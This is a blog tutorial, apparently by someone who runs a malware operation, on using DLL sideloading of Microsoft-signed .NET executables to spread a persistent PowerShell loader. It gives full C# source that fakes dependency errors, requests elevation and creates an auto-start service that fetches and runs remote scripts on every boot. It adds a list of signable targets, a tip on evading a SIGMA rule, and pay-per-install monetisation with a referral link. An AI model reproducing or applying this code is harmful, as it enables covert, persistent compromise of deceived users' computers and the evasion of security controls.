alcinzal

Cybersecurity Enthusiast

DLL sideloading made easy with .NET

2026-02-07

In the previous post we talked about a Fileless PowerShell Loader and how it works, but in this post we will be looking at how we can use DLL sideloading with .NET to create a Windows Service that runs this loader on every startup. With this method we can bypass SmartScreen, bypass browser blocks, and stay undetected for what seems to be forever (last time I changed my file was 1-2 years ago).

Summary

As with my previous post, this one too turned out to become very lengthy. So I thought I'd summarize how we can do DLL sideloading.

Download Microsoft.Spark.Worker.net8.0.win-x64-(version).zip and dnSpy-net-win64.zip, and open "Microsoft.Spark.Worker.dll" with dnSpy. In the main entry point of the DLL, add code (full code below) that uses the Windows API to create a new Windows Service that will run a fileless PowerShell loader on every startup. Run this program and make sure everything works. To remove the files that aren't needed, keep the program open, select every file around it, delete them and skip the ones you can't delete. Now close the program, make sure it works one last time, and then zip all the files together. Now you can spread it around.

DLL hijacking

DLL hijacking is the umbrella term for tricking a legitimate/trusted executable into loading and executing a malicious DLL. There are 3 main ways of achieving this:

  1. DLL Replacement: Directly replacing legitimate DLLs with an evil one, often combined with DLL proxying to ensure the original functionality of the DLL remains.
  2. DLL Search Order Hijacking: Sometimes DLLs are searched for in fixed locations in a specific order, one can therefore put a malicious DLL in a location that is searched before the legitimate one.
  3. Phantom DLL Hijacking: Targeting DLLs that don't actually exist but applications try loading it.

DLL sideloading falls most accurately under the "DLL Replacement" group, as it consists of the legitimate DLL being replaced, or in this case, edited.

Why .NET?

.NET is a sort of ecosystem for building and running applications, created by Microsoft. There are multiple .NET languages, such as F#, VB.NET or C#, the last being the most popular and the one we will focus on in this post. There are a few reasons as to why .NET applications work so well with DLL sideloading, these being the most important ones:

How are vulnerable .NET applications found?

For best results we will aim for signed executables, as these are much less prone to getting detected. We will specifically be looking for Microsoft-signed executables.

These 3 requirements must be met in order for us to securely conclude that the scanned file is a self-contained .NET application (and can therefore be used for this type of attack):

We will be scanning through plenty of .NET applications, to see which meet the requirements above, and GitHub is definitely most ideal for this. If you wish to do this search manually you can either search for "language:C#" at GitHub and sort by "Most Stars", or you can visit the GitHub Trending page and select "C#" as the language and choose a date range. However for efficiency, I will be using GitHub's REST API to perform this scan together with a script.

I will only be looking for Microsoft-signed executables, that's why I started by gathering a list of Microsoft owned GitHub accounts. These were the ones I found:

This is then what the API URL looked like:

https://api.github.com/search/repositories?q=language:C%23+user:actions,aspnet,Azure,Azure-Samples,dotnet,microsoft,Microsoft-OpenSource-Labs,microsoft-search,microsoft365,MicrosoftDocs,microsoftgraph,MicrosoftLearning,OfficeDev,PowerShell,SharePoint,winjs,xamarin&sort=stars&order=desc&per_page=100&page=1

Explanation:

My script then searches through the release files of each repository and downloads every zip, 7z and rar file. However since we are only looking for x64 versions, we skip files containing these in the name:

When everything is downloaded, my script looks through every zip file checking if any of them meet all the 3 requirements I mentioned above, if they do, it moves them to a new folder. At last I extract these and make sure the signatures are actually valid by right-clicking the executable -> Properties -> Digital Signatures -> Details -> "The digital signature is OK". If it's not OK, there will be an error message displayed. The reason I do this is because my script simply checks if the signature exists, but not if it is valid or if the certificate authority (CA) that issued it is by default trusted by Windows.

I will of course be sharing the matches I found, but if you do choose to create a script like this yourself, I recommend you use your GitHub personal access token, as without it you are limited to 60 requests per hour, but with it you can do 5000.

Matches

I scanned through approximately ~2500 C# Microsoft repositories, and I found 15 zip files that matched the requirements above, also checking if the signature is valid/trusted. I would also like to note that some of these might contain additional executables that also match the requirements.

Here are the results:

RepositoryRelease FileFileSignerValid/Trusted
Azure/azure-functions-core-toolsAzure.Functions.Cli.min.win-x64.4.6.0.zipfunc.exeMicrosoft Corporation
Azure/Bridge-To-Kuberneteslpk-win.zip.../EndpointManager.exeMicrosoft Corporation
Azure/data-api-builderdab_net8.0_win-x64-1.6.84.zipAzure.DataApiBuilder.Service.exeMicrosoft Corporation
Azure/template-analyzerTemplateAnalyzer-win-x64.zipTemplateAnalyzer.exeMicrosoft Corporation
dotnet/sparkMicrosoft.Spark.Worker.net8.0.win-x64-2.3.0.zip.../Microsoft.Spark.Worker.exeMicrosoft Corporation
microsoft/artifacts-credproviderMicrosoft.win-x64.NuGet.CredentialProvider.zip.../.../.../CredentialProvider.Microsoft.exeMicrosoft Corporation
microsoft/axe-windowsAxeWindowsCLI-2.4.2.zipAxeWindowsCLI.exeMicrosoft Corporation
microsoft/FindDeviceFindDevice-win-x64.zipFindDevice.exeMicrosoft Corporation
microsoft/onefuzzonefuzz-deployment-8.9.0.zip.../.../.../LibFuzzerDotnetLoader.exeMicrosoft 3rd Party Application Component
microsoft/RexlRexlKernel_Win_x64_Release.zipRexlKernel.exeMicrosoft 3rd Party Application Component
microsoft/SCMScaleUnitDevToolsScaleUnitManagementTools_v3.17.11.zipCLI.exeMicrosoft Corporation
microsoft/service-fabric-yarpservice-fabric-yarp.zip.../.../.../.../YarpProxy.Service.exeMicrosoft Corporation
microsoft/sqltoolsserviceMicrosoft.SqlTools.Migration-win-x64-net8.0.zipMicrosoftSqlToolsMigration.exeMicrosoft Corporation
microsoft/sqltoolsserviceMicrosoft.SqlTools.ServiceLayer-win-x64-net8.0.zipMicrosoftSqlToolsCredentials.exeMicrosoft Corporation
PowerShell/PowerShellPowerShell-7.5.4-win-x64.zippwsh.exeMicrosoft Corporation

I also did another scan, but without limiting the search to only Microsoft repositories. Here are the results:

RepositoryRelease FileFileSignerValid/Trusted
Azure/azure-functions-core-toolsAzure.Functions.Cli.min.win-x64.4.6.0.zipfunc.exeMicrosoft Corporation
beeradmoore/dlss-swapperDLSS.Swapper-1.2.3.2-portable.zipDLSS Swapper.exeGlobalSign Code Signing Root R45
ClassIsland/ClassIslandClassIsland_app_windows_x64_selfContained_folder.zip.../ClassIsland.Desktop.exeGlobalSign Code Signing Root R45
d2phap/ImageGlassImageGlass_9.4.1.15_x64.zip.../igcmd.exeUSERTrust RSA Certification Authority
DearVa/EverywhereEverywhere-Windows-x64-v0.6.1.zipEverywhere.exeCertum Code Signing 2021 CA
dnGrep/dnGrepdnGrep.4.6.95.0.x64.zipdnGREP.exeGlobalSign Code Signing Root R45
dotnet/sparkMicrosoft.Spark.Worker.net8.0.win-x64-2.3.0.zip.../Microsoft.Spark.Worker.exeMicrosoft Corporation
duplicati/duplicatiduplicati-2.2.0.3_stable_2026-01-06-win-x64-agent.zip.../Duplicati.Agent.exeDuplicati Inc.
duplicati/duplicatiduplicati-2.2.0.3_stable_2026-01-06-win-x64-gui.zip.../Duplicati.CommandLine.Snapshots.exeDuplicati Inc.
icsharpcode/ILSpyILSpy_selfcontained_10.0.0.8282-preview2-x64.zipILSpy.exeDigiCert Trusted Root G4
marticliment/UnigetUIUniGetUI.x64.zipUniGetUI.exeCertum Code Signing 2021 CA
microsoft/artifacts-credproviderMicrosoft.win-x64.NuGet.CredentialProvider.zip.../.../.../CredentialProvider.Microsoft.exeMicrosoft Corporation
microsoft/onefuzzonefuzz-deployment-8.9.0.zip.../.../.../LibFuzzerDotnetLoader.exeMicrosoft 3rd Party Application Component
NuGetPackageExplorer/NuGetPackageExplorerPackageExplorer.6.2.19.zipNuGetPackageExplorer.exeDigiCert CS RSA4096 Root G5❌ (6.0.64 is valid)
PowerShell/PowerShellPowerShell-7.5.4-win-x64.zippwsh.exeMicrosoft Corporation

A little bit underwhelming, I did expect to find more, but there are probably ways I could update the script and the API requests made so it covers more repositories. You can also see that quite a few of them were not valid/trusted. This is usually because the certificate authority (CA) that issued the signature is not trusted by Windows by default, so the user would have to manually go in and add the certificate to their trust store. I could also just be using an older version of Windows that doesn't have this CA trusted. The only reason that NuGetPackageExplorer.exe did not have a valid signature was because I think they must've forgot to update it, the error I got was that the executable had been tampered with and couldn't be verified, however the previous version (6.0.64) is valid.

Administrator privileges are required to create a Windows Service, so it would be nice to find an executable that asks for admin permissions by default. Sadly none of these do, but we will simply prompt UAC programmatically instead. We won't be looking at UAC bypasses, but if you do know anything about this, you can try this out here.

You are free to pick and choose whichever executable you want to target, for this guide we will be going for "Microsoft.Spark.Worker.exe".

Hello World

For starters, we will simply edit the DLL so it prints "Hello World" and remains open.

  1. Download the net8.0.win version from https://github.com/dotnet/spark/releases/latest and extract/unzip.
  2. Download dnSpy from https://github.com/dnSpy/dnSpy/releases and extract/unzip.
  3. Open "dnSpy.exe" -> File (upper left) -> Close All. Then File -> Open -> find "Microsoft.Spark.Worker.dll".
  4. On the 4th line in the editor window you should see "Entry point:", this is where the DLL enters, what it first executes on load. Click on the last part of it, in this case "Main".
  5. In the editor window, right-click the Main function and click "Edit Method (C#)".
  6. You can now remove everything inside the Main function, and replace it with Console.WriteLine("Hello World"); and Console.ReadLine();. Check below for how the edited code should look.
  7. Click Compile.
  8. File -> Save All -> OK.
  9. Now if we go back and run the "Microsoft.Spark.Worker.exe" file, a console window will open that prints "Hello World", and closes if you click Enter.

Code (you might have more "using" statements, they will disappear once compiled, there will also be comments like "// Token: 0x0000"):

using System;

namespace Microsoft.Spark.Worker
{
    internal partial class Program
    {
        public static void Main(string[] args)
        {
            Console.WriteLine("Hello World");
            Console.ReadLine();
        }
    }
}

Now you have done your first DLL sideload, doesn't have to be more complicated than that. The C# code we used can of course be whatever you want, feel free to experiment. If you know nothing about C# but want to know more, there are plenty of good YouTube tutorials out there you can learn from.

Creating our DLL

I will be going through the code bit for bit and showcase the final product at the end to avoid cluttering this post with too much duplicate code.

First let's take a look at creating a Windows Service with C#, there are many ways of doing this, but we will be using the official API functions. A service called "ServiceExample" will be created (make sure to first delete this service if it already exists) with the following bin/image path: cmd.exe /c powershell.exe irm https://alcinzal.com/script ^| iex.

Here is some sample code for how that would work (though you do have to import the API functions first, and the comment is to describe what the arguments mean):

using System;
using System.Runtime.InteropServices;

/*
0xF003F = SC_MANAGER_ALL_ACCESS
0xF01FF = SERVICE_ALL_ACCESS
0x00000010 = SERVICE_WIN32_OWN_PROCESS
0x00000002 = SERVICE_AUTO_START
0x00000000 = SERVICE_ERROR_IGNORE
*/

IntPtr intPtr = Program.OpenSCManager(null, null, 0xF003F);
Program.CloseServiceHandle(Program.CreateService(intPtr, "ServiceExample", null, 0xF01FF, 0x00000010, 0x00000002, 0x00000000, $"cmd.exe /c powershell.exe irm https://alcinzal.com/script ^| iex", null, IntPtr.Zero, null, null, null));
Program.CloseServiceHandle(intPtr);

If the code above gets ran as administrator, a service will be created, however nothing will happen if ran normally. To fix this you could either print something like "Error: Elevated privileges are required, please right-click the program and run it as administrator", or more elegantly you can first check if the process is ran as administrator, if not, rerun itself but prompt UAC. Here is the sample code for that (Process.Start() will throw an error if the user clicks no, so we enclose it in try-catch):

using System.Diagnostics;
using System.Security.Principal;

if (!new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator))
{
    try { Process.Start(new ProcessStartInfo(Environment.ProcessPath) { UseShellExecute = true, Verb = "runas" }); } catch {}
    Environment.Exit(0);
}

Lastly we can think about how to make the program more believable by adding error messages. If ran as user we could do "Error: Administrator rights required, attempting to request administrator privileges...", and when ran as admin we could do "Error: Failed to run, dependencies are missing..."

Here is the full code:

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;

namespace Microsoft.Spark.Worker
{
    internal partial class Program
    {
        [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
        static extern IntPtr OpenSCManager(
            string machineName, 
            string databaseName, 
            uint dwAccess
        );
        
        [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
        static extern IntPtr CreateService(
            IntPtr hSCManager, 
            string svcName, 
            string displayName, 
            uint dwAccess, 
            uint svcType, 
            uint startType, 
            uint errorControl, 
            string binPath, 
            string loadOrderGroup, 
            IntPtr pTagId, 
            string dependencies, 
            string serviceStartName, 
            string password
        );
        
        [DllImport("advapi32.dll", SetLastError = true)]
        static extern bool CloseServiceHandle(
            IntPtr hSCObject
        );

        public static void Main(string[] args)
        {
            if (!new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator))
            {
                Console.WriteLine("Error: Administrator rights required, attempting to request administrator privileges...");
                try { Process.Start(new ProcessStartInfo(Environment.ProcessPath) { UseShellExecute = true, Verb = "runas" }); } catch {}
                Environment.Exit(0);
            }

            Console.WriteLine("Error: Failed to run, dependencies are missing...");

            /*
            0xF003F = SC_MANAGER_ALL_ACCESS
            0xF01FF = SERVICE_ALL_ACCESS
            0x00000010 = SERVICE_WIN32_OWN_PROCESS
            0x00000002 = SERVICE_AUTO_START
            0x00000000 = SERVICE_ERROR_IGNORE
            */

            IntPtr intPtr = Program.OpenSCManager(null, null, 0xF003F);
            Program.CloseServiceHandle(Program.CreateService(intPtr, "ServiceExample", null, 0xF01FF, 0x00000010, 0x00000002, 0x00000000, $"cmd.exe /c powershell.exe irm https://alcinzal.com/script ^| iex", null, IntPtr.Zero, null, null, null));
            Program.CloseServiceHandle(intPtr);

            while (true)
            {
                Console.ReadKey();
            }
        }
    }
}

If you now add this code to your DLL with dnSpy, compile, save and run the program, it should work as expected. Then if you reboot your computer, the Windows Service should execute and a file should be created at "C:\example.txt".

Finalizing

The only thing that remains now is cleaning up the folder, removing any file/folder that isn't required. Initially I would do trial and error, removing chunks of files and rerunning the program to make sure it still works, but I found a much better solution.

If you run the program, and simply keep it open, you can just delete all the files, because Windows won't allow you to delete the files that are actually in use. I should note though that sometimes this doesn't work properly because the program might have multiple paths it can take, and for one path it might not need the DLLs that it needs for another path. That is why in this case, this method only works with the UAC window open, but if you try to do the same thing when the program creates the Windows Service, it will allow you to delete the DLLs required to start another process, meaning the UAC prompt can't appear. So to make this work, first do a Windows search for "User Account Control Settings" and turn it to the 3rd option from the top, the one that says "(do not dim my desktop)", this is just to ensure that you can actually use your computer as normal, even with the UAC prompt open. Then you run "Microsoft.Spark.Worker.exe" as user (so just normally), and when the UAC prompt appears, keep it open. Then select every file and folder in that directory (CTRL+A), right-click and click Delete. You will get an error message saying "This action can't be completed because the file is open in ...", simply check "Do this for all current items" and click Skip. Every file not being used by the program will be deleted, but the rest you can't delete. I should also note that sometimes the program needs the ".runtimeconfig.json" file, but you'll still be able to delete it, in this case though it seems it doesn't need it.

Feel free to rename the executable file to whatever you want, however don't rename any of the other files, that might cause problems. What I usually do is that I select every file, except the executable, right-click -> Properties -> Read-only and Hidden. If you can't see the files anymore in file explorer, look at the top, click on "View" (or the 3 lines for newer versions) -> Show -> Hidden items.

Now you can select all the files, and archive them to a zip file, either with 7-Zip, WinRAR, etc. or with Windows' built-in function (Send to -> Compressed).

Since every file is undetected (at least statically) I've been able to host it anywhere, with no issues of getting banned/removed/flagged. Though I do have to note that there is a SIGMA rule that will flag this: Detects that a powershell code is written to the registry as a service, it simply checks for the strings "powershell" and "pwsh", so bypassing this probably wouldn't be too difficult.

My DLL

At the moment I DLL sideload "WinUpdateHelper.exe" from Bulk Crap Uninstaller (v5.8.3) because it requests administrator privileges by default, however the developer became aware of this and got scared he might get in trouble for it (someone spreading malware with his signature/certificate). Therefore he decided to not sign the newer versions of this program, which caused even more problems for the community, as these newer versions now get detected as malware. I of course have to take some of the blame here, which is why I've been planning on moving over to another .NET project to sideload, but I haven't gotten that far yet.

Now for the DLL itself, the code is practically identical to the code I showed above, with some minor differences.

Firstly, I use CPINAP for extra profits. CPINAP is a PPI (pay-per-install) network, which means that they will pay you every time you get a user to download and install their program. Usually the way it works is that you sign up, you get a smartlink, and you try to drive traffic to this smartlink. What people typically do is that they redirect their users directly from their download page to this smartlink, however I have chosen to take another path. The user will first download my own program, run it, and get the error message "Error: A dependency is missing" and "Opening browser to download dependency in 3 seconds...", and then their browser opens to my CPINAP smartlink. Regardless of what the user chooses to do here, my Windows Service PowerShell loader will still be created on their computer. But if they do choose to install from my smartlink, I get extra profits. At the moment, 25%-50% of my daily earnings come from CPINAP, so this strategy works really well. If you are considering using CPINAP, I would highly appreciate it if you could sign up through my referral link: https://cpinap.com?rf=172691. There won't be any difference on your side, but on my end I would earn 5% of what you're making. No pressure though of course, here is the non-referral link if you'd prefer that instead: https://cpinap.com.

Secondly, server-side I like to keep track of how many unique connections I get daily, and which download is performing the best. That is why my PowerShell script endpoint can take parameters, id is the bots identifier and the tag is where it came from, which in this case is the name of the process. The ID gets randomly generated and is inserted into the URLs query, though I could instead keep track of IPs or other hardware identifiers, but I have found them to be quite unreliable. The process name is also used as a tracker for CPINAP, so I can get a nice overview in the statistics.

Lastly, I use the current UTC timestamp to determine which domain to connect to, as discussed in my previous post.

Here is the code, though I have made small changes to the smartlink and the multiplier/divider in the timestamp for security.

using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Threading;

namespace WinUpdateHelper
{
    internal static partial class Program
    {
        [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
        static extern IntPtr OpenSCManager(
            string machineName, 
            string databaseName, 
            uint dwAccess
        );
        
        [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
        static extern IntPtr CreateService(
            IntPtr hSCManager, 
            string svcName, 
            string displayName, 
            uint dwAccess, 
            uint svcType, 
            uint startType, 
            uint errorControl, 
            string binPath, 
            string loadOrderGroup, 
            IntPtr pTagId, 
            string dependencies, 
            string serviceStartName, 
            string password
        );
        
        [DllImport("advapi32.dll", SetLastError = true)]
        static extern bool CloseServiceHandle(
            IntPtr hSCObject
        );

        private static int Main(string[] arg)
        {
            try
            {
                Console.WriteLine("Error: A dependency is missing.");
                Console.WriteLine("Opening browser to download dependency in 3 seconds...");
                Thread.Sleep(3000);

                string processName = Path.GetFileNameWithoutExtension(Environment.ProcessPath);

                Process.Start(new ProcessStartInfo
                {
                    FileName = $"https://cpinap-smartlink.com/getfile/YXSWHBP?title=Dependency&tracker={processName}",
                    UseShellExecute = true
                });

                Console.WriteLine("Browser opened! Please download and install the dependency.");
                Console.WriteLine("Waiting for dependency...");

                string random_string = new string(Enumerable.Range(0, 10)
                    .Select(_ => "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"[new Random().Next(62)])
                    .ToArray());

                /*
                const uint SC_MANAGER_ALL_ACCESS = 0xF003F;
                const uint SERVICE_ALL_ACCESS = 0xF01FF;
                const uint SERVICE_WIN32_OWN_PROCESS = 0x00000010;
                const uint SERVICE_AUTO_START = 0x00000002;
                const uint SERVICE_ERROR_IGNORE = 0x00000000;
                */

                IntPtr intPtr = Program.OpenSCManager(null, null, 0xF003F);
                Program.CloseServiceHandle(Program.CreateService(intPtr, "MicrosoftConsole", null, 0xF01FF, 0x00000010, 0x00000002, 0x00000000, $"cmd.exe /c powershell.exe irm \\\"$([Math]::Floor([DateTimeOffset]::UtcNow.ToUnixTimeSeconds() / 10000000) * 1000).xyz/script?id={random_string}&tag={processName}\\\" ^| iex", null, IntPtr.Zero, null, null, null));
                Program.CloseServiceHandle(intPtr);
            }
            catch
            {
            }
            while (true)
            {
                Console.ReadKey();
            }
        }
    }
}

Native DLL hijacking

Making native DLL hijacking undetected is much more difficult than through .NET, but if you are more interested in that, I would highly recommend checking out HijackLibs, a database containing over 500+ vulnerable executables, 400+ being Microsoft ones.

The creator of HijackLibs has a blog where he has written these very informative posts on DLL hijacking: Hijacking DLLs in Windows and Save the Environment (Variable).

MITRE also has solid information on DLL hijacking: Hijack Execution Flow: DLL

Extra tips